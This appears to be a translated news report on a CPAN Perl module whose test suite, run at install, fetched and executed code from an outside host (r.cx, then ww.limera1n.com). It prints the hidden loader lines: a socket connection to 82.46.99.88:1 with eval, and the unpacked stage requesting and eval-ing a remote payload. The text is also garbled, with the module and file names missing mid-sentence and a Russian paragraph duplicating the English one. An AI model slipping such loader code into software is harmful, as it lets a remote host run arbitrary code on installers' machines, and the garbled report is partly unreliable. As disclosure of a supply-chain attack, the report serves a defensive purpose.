A CPAN Perl-module, which is distributed through the catalog , intended for the automatic loading of CPAN modules on the fly, malicious code. A harmful insertion was in the test code , which has been available since 2011.
Notably, questions about loading questionable code arose back in 2016.
Malicious activity involves attempts to load and execute code from an external server (http://r.cx:1/) during the execution of the test suite initiated upon the module's installation. It is assumed that the originally loaded code from the external server was not malicious, but now the request is redirected to the domain ww.limera1n.com, delivering its portion of code for execution.
To organize loading, the following code is used in the file :
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
The specified code leads to the execution of the script , the content of which boils down to the line:
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};
This script loads using the service code from the external host r.cx (the codes 82.46.99.88 correspond to the text «R.cX») and executes it in an eval block.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
After unpacking, the following is executed :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
Currently, the problematic package has been removed from the PAUSE in the MetaCPAN archive and can be directly installed from MetaCPAN using some utilities like cpanminus. , indicating that the package was not widely distributed. Interestingly, the discussion involves
and the author of the module, who denied the information that the malicious code was injected after his site “r.cx” was hacked and explained that he was just having fun, and perlobfuscator.com was not used to hide anything but to reduce the size of the code and simplify its copying through the clipboard. The choice of the function name “botstrap” is explained by the fact that this word “sounds like bot and is shorter than bootstrap.” The author of the module also assured that the identified manipulations do not carry out malicious actions, but merely demonstrate loading and executing code over TCP. и автор модуля, который опроверг информацию о том, что вредоносный код подставлен после взлома его сайта «r.cx» и пояснил, что он просто так развлекался, а perlobfuscator.com использовал не для скрытия чего-то, а для сокращения размера кода и упрощения его копирования через буфер обмена. Выбор названия функции «botstrap» пояснён тем, что это слово «звучит как bot и короче, чем bootstrap». Автор модуля также заверил, что выявленные манипуляции не совершают вредоносных действий, а лишь демонстрируют загрузку и выполнение кода по TCP.
Forrás: opennet.ru
